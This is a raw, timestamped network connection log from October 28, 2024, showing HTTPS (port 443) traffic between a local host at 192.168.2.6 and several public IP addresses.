Oct 28, 2024 02:07:35.623413086 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.626686096 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.626796961 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.626804113 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.710247040 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:35.710391998 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.710408926 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.736462116 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.736633062 CET	443	49850	142.250.184.193	192.168.2.6
Oct 28, 2024 02:07:35.736895084 CET	49850	443	192.168.2.6	142.250.184.193
Oct 28, 2024 02:07:35.814415932 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.817610979 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.826299906 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.826318026 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.827111959 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.827116966 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.827735901 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.827749968 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.828336954 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.828341007 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.851607084 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.852147102 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.852186918 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.853367090 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.853373051 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.903707981 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.904222012 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.904252052 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.905297041 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.905303955 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.935214043 CET	49882	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:35.935240030 CET	443	49882	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:35.935417891 CET	49882	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:35.935745955 CET	49882	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:35.935760975 CET	443	49882	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:35.954837084 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.954909086 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.954963923 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.958153009 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.958975077 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.959059000 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.959065914 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.959083080 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.959134102 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.960071087 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.960071087 CET	49873	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.960093975 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.960115910 CET	443	49873	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.960268974 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.960274935 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.960284948 CET	49874	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.960289001 CET	443	49874	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.964586973 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.964597940 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.964642048 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.964667082 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.964675903 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.964732885 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.964859009 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.964870930 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.965059042 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.965074062 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.980078936 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.980226040 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.980281115 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.980444908 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.980458975 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.980468988 CET	49876	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.980473995 CET	443	49876	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.985155106 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.985197067 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:35.985269070 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.985933065 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:35.985943079 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.039505959 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.039628983 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.039679050 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.039911985 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.039921999 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.039933920 CET	49877	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.039938927 CET	443	49877	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.043724060 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.043762922 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.043853998 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.043984890 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.043996096 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.166332960 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.166778088 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.166798115 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.167927027 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.167992115 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.169173956 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.169254065 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.169508934 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.169523954 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.177611113 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.177872896 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.177889109 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.179301977 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.179364920 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.180608034 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.180691957 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.180932999 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.193346977 CET	49882	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.193634033 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:36.193778992 CET	443	49868	18.244.18.38	192.168.2.6
Oct 28, 2024 02:07:36.193840027 CET	49868	443	192.168.2.6	18.244.18.38
Oct 28, 2024 02:07:36.195837021 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.195868969 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.195919991 CET	49881	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.196077108 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.196202993 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.196234941 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.196285963 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.196417093 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.196429968 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.196492910 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.196506023 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.216094971 CET	443	49881	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.216207027 CET	443	49881	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.216238976 CET	49881	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.216273069 CET	49881	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.227329969 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.239362001 CET	443	49882	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.240695953 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.248891115 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.248913050 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.249490023 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.249495029 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.260539055 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.260564089 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.260802984 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.261039019 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.261053085 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.271121979 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.271126986 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.271137953 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.299014091 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.299081087 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.300122976 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.300215960 CET	49879	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.300221920 CET	443	49879	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.311919928 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.312458992 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.312676907 CET	49880	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.312690020 CET	443	49880	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.374747992 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.374903917 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.374979973 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.377989054 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.378002882 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.378014088 CET	49878	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.378020048 CET	443	49878	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.382352114 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.382366896 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.382519007 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.382700920 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.382714987 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.483855963 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.483896971 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.483975887 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.484250069 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.484266043 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.697320938 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.699596882 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.699605942 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.700094938 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.700098991 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.709253073 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.711870909 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.711901903 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.712440014 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.712445974 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.734632969 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.735625982 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.735651970 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.736156940 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.736165047 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.780258894 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.780997038 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.781013966 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.781403065 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.781405926 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.806334019 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.806632996 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.806663036 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.808161974 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.808254004 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.809488058 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.809572935 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.809679031 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.833674908 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.833698988 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.833749056 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.833808899 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.833808899 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.836107016 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.836124897 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.836143017 CET	49884	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.836148977 CET	443	49884	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.844026089 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.844223976 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.844306946 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.844613075 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.844630957 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.844640017 CET	49883	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.844645977 CET	443	49883	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.847757101 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.847786903 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.847847939 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.847897053 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.847899914 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.847953081 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.848290920 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.848305941 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.848524094 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.848536968 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.855329037 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.865324020 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.865394115 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.865731955 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.866297007 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.867141962 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.867141962 CET	49885	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.867172956 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.867194891 CET	443	49885	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.872797012 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.872827053 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.873025894 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.873325109 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.873337984 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.912360907 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.912556887 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.913191080 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.927695990 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.928970098 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.928985119 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.930018902 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.930119038 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.931277990 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.931350946 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.931612968 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.938147068 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.938222885 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.939594030 CET	49888	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:36.939610004 CET	443	49888	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:36.964378119 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.964404106 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.964473009 CET	49886	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.964478970 CET	443	49886	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.975362062 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.976002932 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.976026058 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.976109982 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.977155924 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:36.977170944 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:36.980912924 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.981229067 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.981244087 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.982273102 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.982350111 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.982697010 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.982763052 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:36.982901096 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:36.982908010 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.068766117 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.068773031 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.068795919 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.093455076 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.095027924 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.095045090 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.096479893 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.096560001 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.097270966 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.097353935 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.102216005 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.102475882 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.102483034 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.103207111 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.103220940 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.103971958 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.103977919 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.167850971 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.167860985 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.167881012 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.167889118 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.167891979 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.167926073 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.167946100 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.167968988 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.167979002 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.168014050 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.177647114 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177654982 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177680016 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177692890 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177712917 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177720070 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177745104 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.177764893 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.177800894 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.222559929 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222585917 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222593069 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222624063 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222640038 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222651005 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222661018 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.222672939 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.222697020 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.222719908 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.232034922 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.232624054 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.232672930 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.236002922 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.236071110 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.236350060 CET	49891	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.236360073 CET	443	49891	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.247936010 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.247947931 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.247960091 CET	49890	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.247966051 CET	443	49890	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.254302979 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.254339933 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.254405975 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.254548073 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.254559040 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.258534908 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.283153057 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.283165932 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.283200026 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.283233881 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.283245087 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.283276081 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.283291101 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.284687996 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.284697056 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.284723043 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.284734964 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.284749985 CET	443	49887	13.107.246.45	192.168.2.6
